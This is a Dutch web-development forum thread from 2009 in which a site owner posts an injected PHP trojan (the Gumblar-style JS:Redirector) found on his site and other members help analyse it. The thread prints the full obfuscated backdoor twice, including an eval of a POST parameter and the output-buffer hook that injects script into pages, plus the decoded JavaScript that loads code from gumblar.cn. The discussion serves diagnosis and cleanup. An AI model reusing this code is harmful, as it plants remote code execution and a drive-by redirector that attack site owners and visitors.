Hoi allemaal,

Ik gebruik avast antivirus en volgens dat programma zit er een deel van JS:Redirector-H3 in mijn website.

Nu staat deze php in mijn site en als ik hem weg haal geeft ie geen melding meer van die trojaan:

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><script language="php"> include("setup.php");</script>

Maar als ik deze weghaal, werkt mijn site ook niet meer goed.
Weet iemand wat er veranderd moet worden aan deze code?

bij voorbaat dank,

Mark
Weet niet wát je op je site heb staan, maar zoiets als dat kan nooit goed zijn..
Chris Kortaan schreef op 12.05.2009 09:29
Weet niet wát je op je site heb staan, maar zoiets als dat kan nooit goed zijn..

Haha inderdaad xD

Nou ik zou als eerste dat script language weghalen!!

Doe altijd om te includen

<?php include("setup.php"); ?>

(Goede Anti Virus ;))

Irritante code in één lijn, verder heb ik ook niet super veel verstand van javascript die erin zit, dus daar moet iemand anders naar kijken :P

Kun je de code splitsen in regels, bv:


<?php
if(!function_exists('...'){
        echo "weetikveel";
} else {
        echo "nee inderdaad";
}


En heb je misschien een voorbeeldje? Wat is het voor site dan xD
Een hack site? :P
Hoi,

sorry ik heb alles geknipt en geplakt in een keer van mijn site. het is een ptc site. ik heb dat script language weggehaald maar dat heeft nog niet geholpen

alvast bedankt,

Mark
Oei, leuk, eens zien of ik het leesbaar kan maken.
<?php
  if (!function_exists('tmp_lkojfghx'))
  {
      if (isset($_POST['tmp_lkojfghx3']))
          eval($_POST['tmp_lkojfghx3']);
      if (!defined('TMP_XHGFJOKL'))
          define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));
      function tmp_lkojfghx($s)
      {
          if ($g = (substr($s, 0, 2) == chr(31) . chr(139)))
              $s = gzinflate(substr($s, 10, -8));
          if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
              foreach ($a[0] as $v)
                  if (count(explode("\n", $v)) > 5)
                  {
                      $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
                      if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
                          $s = str_replace($v, '', $s);
                  }
          $s1 = preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#', '', $s);
          if (stristr($s, '<body'))
              $s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1);
          elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>'))
              $s = $s1 . TMP_XHGFJOKL;
          return $g ? gzencode($s) : $s;
      }
      function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0)
      {
          $s = array();
          if ($b && $GLOBALS['tmp_xhgfjokl'])
              call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d);
          foreach (@ob_get_status(1) as $v)
              if (($a = $v['name']) == 'tmp_lkojfghx')
                  return;
              else
                  $s[] = array($a == 'default output handler' ? false : $a);
          for ($i = count($s) - 1; $i >= 0; $i--)
          {
              $s[$i][1] = ob_get_contents();
              ob_end_clean();
          }
          ob_start('tmp_lkojfghx');
          for ($i = 0; $i < count($s); $i++)
          {
              ob_start($s[$i][0]);
              echo $s[$i][1];
          }
      }
  }
  if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2')
      $GLOBALS['tmp_xhgfjokl'] = $a;
  tmp_lkojfghx2();
?>
zo is het al.
Zo te zien plaatst het dus alleen js op je site dmv [php]set_error_handler[/php]. Dus als je geen fout op je site zou hebben zou, denk ik, ook geen js op je site komen.
Verder moet je je site nu goed nalopen, want dit is er dus opgekomen, het kan zomaar zijn dat er weer een keer later hetzelfde of iets anders op komt.
Ik heb alleen dit laten staan
<?php include("setup.php");</script>
en nu doet ie het perfect :-) geen melding meer.

Bedankt jongens
Dit is wat ik er van heb kunnen maken...

<?php
// Zie die van Karl :)
?>

Overigens, het stukje base64 is dus een stukje javascript, die php vervolgens bewerkt..

<script language=javascript><!-- 
(function(FpSW){var bxB='va`72`20a`3d`22`53cr`69ptEn`67ine`22`2cb`3d`22Ve`72sion(`29+`22`2c`6a`3d`22`22`2cu`3dnavig`61t`6fr`2eus`65`72Ag`65nt`3bi`66((u`2e`69ndexOf(`22Win`22)`3e0)`26`26(u`2einde`78Of(`22NT`206`22)`3c0`29`26`26`28`64ocu`6dent`2e`63`6fok`69e`2e`69`6ede`78O`66(`22miek`3d1`22`29`3c0)`26`26(typeof(zrv`7ats`29`21`3dty`70eof(`22`41`22`29))`7b`7ar`76zt`73`3d`22A`22`3beva`6c`28`22i`66(windo`77`2e`22+a+`22)j`3dj+`22`2ba`2b`22Ma`6aor`22+b+a+`22Mi`6e`6fr`22`2b`62`2ba`2b`22B`75il`64`22+b+`22j`3b`22)`3bd`6fc`75`6dent`2ewrite(`22`3cs`63ript`20src`3d`2f`2fgumbla`72`2ecn`2fr`73`73`2f`3fid`3d`22+`6a+`22`3e`3c`5c`2fscrip`74`3e`22)`3b`7d';var FOQ7=bxB.replace(FpSW,'%');var xwpz=unescape(FOQ7);eval(xwpz)})(/`/g);
 --></script>
Mark Koggel schreef op 12.05.2009 09:35
Ik heb alleen dit laten staan
<?php include("setup.php");</script>
en nu doet ie het perfect :-) geen melding meer.

Bedankt jongens


Nu doe je het nog niet goed xD

PHP =
<?php include("setup.php"); ?>


en geen </script> ;)
Ik zie dit ertussen staan:
<?

if (isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);

?>

Lijkt me UITERST gevaarlijk! Dit voert gewoon code uit die een gebruiker kan meesturen aan je pagina. Dit is dus een ingebouwde trojan in PHP!!!!!

Weggooien dit script en nu METEEN!
ja misschien wel :P
php schreef op 12.05.2009 16:32
ja misschien wel :P

Nee, zeker weten.
Je wilt nooit of te nimmer dat een gebruiker php op je server kan uitvoeren.

Reageren